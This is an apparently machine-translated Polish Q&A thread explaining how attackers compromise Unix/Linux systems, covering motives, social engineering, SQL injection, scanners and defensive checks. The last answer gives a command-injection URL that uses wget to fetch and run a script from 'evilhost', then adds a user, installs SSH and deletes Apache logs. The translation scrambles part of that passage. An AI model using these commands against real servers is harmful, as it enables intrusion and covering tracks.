Jak dokładnie ludzie „łamią” systemy Unix / Linux?


13

Nie chcę patrzeć na crackera lub coś w tym rodzaju, ale próbuję rozgryźć ten proces (więcej z perspektywy programistycznej).

Więc zakładam (zgaduję), że głównym celem crackera jest uzyskanie dostępu do konta roota w celu zainstalowania dowolnego oprogramowania (lub skryptu), które napisał, prawda? a może instalowanie własnego modułu jądra (który jest przebiegły z jakiegokolwiek powodu) Jak konkretnie osoba to robi?

Wiem, że ludzie używają skryptów do sprawdzania exploitów ...... ale nie widzę, jak to zrobić, a także nie widzę dokładnie, co z nimi robią, gdy je znajdą? Czy sprawdzają wersje pod kątem znanych exploitów ...... a potem, gdy znajdą jeden .......

Wiem, że to wszystko brzmi bardzo nowocześnie. ale ja tylko próbuję dowiedzieć się, jak to działa, ponieważ wiem, że systemy Linux / Unix powinny być bardzo bezpieczne, ale staram się dowiedzieć, jak ktoś mógłby przejść (proces) uzyskania dostępu do roota.

Odpowiedzi:


14

Istnieje niezliczona ilość powodów, dla których można próbować naruszyć bezpieczeństwo systemu. W szerokich pociągnięciach:

  • Aby korzystać z zasobów systemu (np. Wysyłać spam, przekazywać ruch)
  • Aby uzyskać informacje o systemie (np. Uzyskać dane klienta z witryny e-commerce).
  • Aby zmienić informacje w systemie (np. Oszukać witrynę internetową, wprowadzić fałszywe informacje, usunąć informacje)

Tylko czasami te rzeczy wymagają dostępu do konta root. Na przykład wprowadzenie nieprawidłowo wyszukiwanego zapytania w witrynie, które nie oczyszcza danych wejściowych użytkownika, może ujawnić informacje z bazy danych witryny, takie jak nazwy użytkowników / hasła, adresy e-mail itp.

Wielu przestępców komputerowych to po prostu „dzieciaki ze skryptów”; tj. ludzie, którzy tak naprawdę nie rozumieją bezpieczeństwa systemów i mogą nawet nie kodować, ale uruchamiają exploity napisane przez innych. Zazwyczaj można ich łatwo obronić, ponieważ nie mają zdolności przystosowywania się; ograniczają się do wykorzystywania znanych luk. (Chociaż mogą wykorzystywać botnety - duże grupy zainfekowanych komputerów - co może oznaczać niebezpieczeństwo ataków DDoS).

Dla wykwalifikowanego napastnika proces przebiega mniej więcej tak:

  1. Dowiedz się, jaki jest cel i ile jest wart. Bezpieczeństwo - utrzymanie go lub narażenie na szwank - to obliczenie ryzyka / nagrody. Bardziej ryzykowne i kosztowne będzie coś, tym bardziej intrygująca musi być nagroda, aby atak był wart zachodu.

  2. Rozważyć wszystkie elementy ruchome, które bez względu na efekt celem jest - na przykład, jeśli chcesz wysyłać spamu, mógłby zaatakować serwer poczty, ale może więcej sensu, aby przejść po inną usługę sieciową-zachodu, jak wszystko, czego naprawdę potrzeba to użycie połączenia sieciowego celu. Jeśli potrzebujesz danych użytkownika, zacznij od patrzenia na serwer bazy danych, aplikację internetową i serwer WWW, które mają dostęp do nich, system, który tworzy kopię zapasową itp.

    Nigdy nie pomijaj czynnika ludzkiego. Zabezpieczenie systemu komputerowego jest znacznie łatwiejsze niż zachowanie ludzi. Nakłonienie kogoś do ujawnienia informacji, której nie powinni, lub uruchomienia kodu, którego nie powinni, jest zarówno łatwe, jak i skuteczne. W college'u wygrałem zakład z przyjacielem, który polegał na włamaniu się do jego niewiarygodnie bezpiecznej sieci korporacyjnej poprzez założenie odsłaniającego stroju i wpadnięcie w lubieżnego wiceprezydenta - wiedza techniczna mojego przyjaciela znacznie przewyższyła moją, ale nic nie przebije mocy 17latki koedukacja w krótkiej spódnicy!

    Jeśli brakuje ci cycków, zastanów się nad zaoferowaniem bezsensownej gry lub czegoś, co idioci pobiorą dla zabawy, nie zastanawiając się, co tak naprawdę może zrobić.

  3. Spójrz na każdą zidentyfikowaną część i zastanów się, co można zrobić i jak można to zrobić, aby zrobić to, co chcesz - być może dział pomocy technicznej często resetuje hasła dla użytkowników bez prawidłowej identyfikacji dzwoniącego i nazywając je mylącymi dostać hasło kogoś innego. Być może aplikacja internetowa nie sprawdza, co jest umieszczone w polu wyszukiwania, aby upewnić się, że nie jest kodem, przed umieszczeniem go w uruchomionej funkcji. Kompromisy bezpieczeństwa zwykle zaczynają się od czegoś celowo ujawnionego, co może sprawić, że zachowuje się w sposób, w jaki nie powinien.


3
po przeczytaniu nadal jestem ciekawy, jakie informacje lubieżny wiceprezydent mógłby dostarczyć w swobodnej rozmowie, która wygrałaby ten zakład.
justin cress

1
@ justin: Powiedziałem, że byłem tam, aby zobaczyć $ friend re: projekt szkolny, ale nie było go w biurze. Pozwoliłem wiceprezesowi pokazać mi kilka trywialnych rzeczy na temat systemu komputerowego, a on był zbyt rozproszony, patrząc na mnie, aby zauważyć, że widziałem, jak wprowadza swoje hasło. Miał legalny dostęp do dysku, do którego miałem uzyskać dostęp, aby wygrać zakład.
HedgeMage

1
Zgadzam się całkowicie, socjotechnika jest znacznie łatwiejsza niż przepełnienie sterty. naprawdę spodoba ci się to archiwum. cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga

„Jeśli brakuje ci cycków, zastanów się nad zaoferowaniem bezsensownej gry lub czegoś”… poważnie? Umieściłeś oba z nich w tej samej kategorii skuteczności ?! :)
Roopesh Shenoy

2
„Zastanów się nad zaoferowaniem bezsensownej gry lub czegoś, co idioci pobiorą dla zabawy ...” - Ach, więc taki jest pomysł Farmville i Evony'ego.
Shadur

4

Najważniejszym czynnikiem jest rodzaj dostępu, jaki ma atakujący. Jeśli mają fizyczny dostęp, to jesteś pieprzony. Jeśli zależy Ci tylko na dostępie zdalnym, zależy to od tego, co masz uruchomione; dobra konfiguracja to wszystko. Standardowy serwer linux prawdopodobnie działałby w ftp, ssh, http, https i mysql. SSH jest bezpieczny, ale nie pozwalam na logowanie do konta root, a dobre hasło do każdego konta jest koniecznością. FTP nie działa. Jeśli masz VSFTP i chrootujesz swoich użytkowników, jest to bardzo bezpieczne. Kilka innych wersji ma znane luki w zabezpieczeniach. HTTP będzie prawdopodobnie Twoim najbardziej wrażliwym obszarem. Twoim największym zmartwieniem jest tutaj to, co wykonuje pliki w systemie lub przesyła pliki do systemu. Wstrzykiwanie SQL jest BARDZO trudne, jeśli twoja strona jest wykonana w PHP5. Grupa studentów bezpieczeństwa i ja przez tygodnie próbowaliśmy zastrzyków SQL na niezarządzanej stronie PHP5 i zakończyło się to niepowodzeniem. Z MySQL należy używać użytkownika innego niż root i ograniczyć go do logowania tylko z serwera Apache.

Istnieje kilka wtyczek Firefox do testowania luk w zabezpieczeniach witryny: dostęp do mnie, xss mnie i sql wstrzyknąć

Niektóre duże rzeczy, które zawsze robiłem na zawodach, aby zapewnić bezpieczeństwo:

  • netstat - sprawdź otwarte porty i połączenia,
  • w - kto jest zalogowany, jak długo,
  • Sprawdź logi pod kątem logowania,
  • historia bash dla wykonanych poleceń,
  • ps - uruchamianie poleceń,
  • /etc/passwd dla dodatkowych użytkowników
  • /etc/sudoers dla dostępu sudo.

Zazwyczaj po uzyskaniu dostępu atakujący chce uzyskać uprawnienia root. Obecnie istnieje kilka luk w zabezpieczeniach umożliwiających podniesienie uprawnień użytkownika root. Następnie chcą go otworzyć w celu późniejszego dostępu, dodając użytkowników i otwierając tylne drzwi.

Oto strona mojej szkoły dotycząca cyberobrony. Rozejrzyj się i zadaj kilka pytań: https://thislink.doesntexist.org/


2

Bezpieczeństwo systemu zależy od umiejętności administratora (administratorów), więc błędem jest twierdzić, że „systemy Linux / Unix powinny być bardzo bezpieczne” :)

Teraz przejdźmy do hakowania ... Istnieje pewien rodzaj narzędzia zwanego „ skanerem podatności ”, takim jak Nessus, który szuka rzeczy do wykorzystania. Istnieją tysiące rzeczy, które mogą pójść nie tak w złożonym systemie, np. Źle skonfigurowany serwer Apache, aby umożliwić przesyłanie dowolnych plików do dowolnych miejsc. Mogą one służyć jako krok naprzód w dalszych exploitach, takich jak uzyskanie dostępu do bazy danych lub konta e-mail, z którego można przywrócić hasła za pomocą funkcji „zapomnij hasło”.

Czasami hack polega na uzyskaniu dostępu i zrobieniu czegoś złego. Czasami ludzie robią to dla zabawy (co jest głupie, nawiasem mówiąc).

I oto historia słynnego hacka, który miał miejsce całkiem niedawno. Myślę, że będzie to przykładowe dla każdego, kto patrzy na bezpieczeństwo! Aby zacytować podsumowanie exploitów:

Aplikacja internetowa z wadami wstrzykiwania SQL i niepewnymi hasłami. Hasła, które zostały źle wybrane. Hasła, które zostały ponownie wykorzystane. Serwery, które pozwoliły na uwierzytelnianie oparte na haśle. Systemy, które nie zostały załatane. I zadziwiająca chęć wręczenia poświadczeń za pośrednictwem poczty e-mail, nawet jeśli osoba, o którą ją poproszono, powinna zdać sobie sprawę, że coś jest nie tak.


1

Jest tak wiele wektorów ataku, że są prawie nieskończone. Jednym z najprostszych pod względem koncepcyjnym jest publiczne udostępnienie programu i powiedzenie, że robi on coś innego niż naprawdę. Na początku daj użytkownikom przyjazne instrukcje sudoi patrz, jak świat się rozwija. Dzieje się tak codziennie w przypadku programów z zamkniętym kodem źródłowym, ponieważ jedna osoba nie jest w stanie wcześniej sprawdzić swojej pracy, jak na przykład na płytach CD Sony .

Możesz także spróbować wysłać specjalne ciągi do zdalnego hosta. Na przykład na wysokim poziomie powiedzmy, że masz serwer WWW z uruchomionym oprogramowaniem i że oprogramowanie uruchamia część adresu URL jako polecenie bez ucieczki lub innego zapewnienia, że ​​nie może wyrządzić żadnej szkody. Wyślij coś podobnego http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Dekodowany ciąg wyszukiwania staje się . Jeśli tak się stanie, skrypt.sh działałby z tymi samymi prawami dostępu, co użytkownik serwera WWW, aby zrobić cokolwiek na komputerze. Czasami ludzie zezwalają na uruchamianie ich jako root dla „wygody”, w tym przypadku synonim lenistwa i / lub nieświadomości. Nawet jeśli nie jest uruchamiany jako root, skrypt może następnie uruchomić tysiące testów dla innych dziur w zainstalowanym oprogramowaniu i uruchomić inne polecenie, jeśli je znajdzie. To ostatnie polecenie może być na przykładfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, aby uzyskać dostęp do SSH i usunąć ślady włamania.

[polecenia były oczywiście uproszczone i prawdopodobnie i tak by nie działały. YMMV]

Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.